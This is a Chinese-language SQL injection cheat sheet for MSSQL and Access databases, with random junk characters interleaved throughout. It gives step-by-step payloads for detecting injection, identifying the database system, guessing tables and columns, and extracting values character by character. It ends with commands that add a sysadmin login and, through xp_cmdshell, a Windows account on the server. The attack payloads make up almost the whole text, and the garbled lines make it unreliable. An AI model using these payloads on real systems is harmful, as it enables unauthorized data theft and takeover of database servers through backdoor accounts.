1.判断是否有注入;and 1=1 ;and 1=2 J*;t{M5
2.初步判断是否是mssql ;and user>0 pH*L8tT
-I|yi'
3.注入参数是字符'and [查询条件] and ''=' tb=(L
Ny~;"n
4.搜索时没过滤参数的'and [查询条件] and '%25'=' TQEZ<B$
kNjbpCE\!
5.判断数据库系统 }5]NUxQ_
,{oANqP
;and (select count(*) from sysobjects)>0 mssql `#(4K4]1.
|MRxm"]A
;and (select count(*) from msysobjects)>0 access JZ<O-G+
@vv`86bm
UtWoSFZ'o!
!BY=HFT
6.猜数据库 ;and (select Count(*) from [数据库名])>0 iFHVr'Og'
$:xUXEi{
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 e@q[Dv'mu
+}1]8:>cq
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 &/zsIx+
*i\7dJ Dj
9.(1)猜字段的ascii值(access) 3oIoQj+D
B02~/9*Y"
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 )V>FU=
r|#4+'
(2)猜字段的ascii值(mssql) \UE9Ff+{
0}b8S48|?
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 V}JW@
95+}NJ;r
10.测试权限结构(mssql) \l[5U3{
#F9$"L1Hg
@-7K~in?^
1X{A}9nA
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- Z$pR_dazU
C
qxP@
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- x##Iv|$
ce;9UBkOg2
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- `"bm Hs7
ogPfz/ hw
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- oZ=e/\[K
G>!"XK:fB
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- Lr+2L_/v`
7f(UbO@BD
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- ^]v}AEcmW
%]
Bb;0G
;and 1=(select IS_MEMBER('db_owner'));-- l >O]Cpt
"w A8J%:
IGp-`%9
cg$~.ytPK
11.添加mssql和系统的帐户 C{'c_wX
!^N/n5eoz
;exec master.dbo.sp_addlogin username;-- !#X^nlc
;exec master.dbo.sp_password null,username,password;-- 6^wiEnA
!",@,$
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- CZuxH
7i'vAOnw^
;exec master.dbo.xp_cmdshell 'net user username password lE`ScYG
+I/P5OGRN
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- aE;!mod
&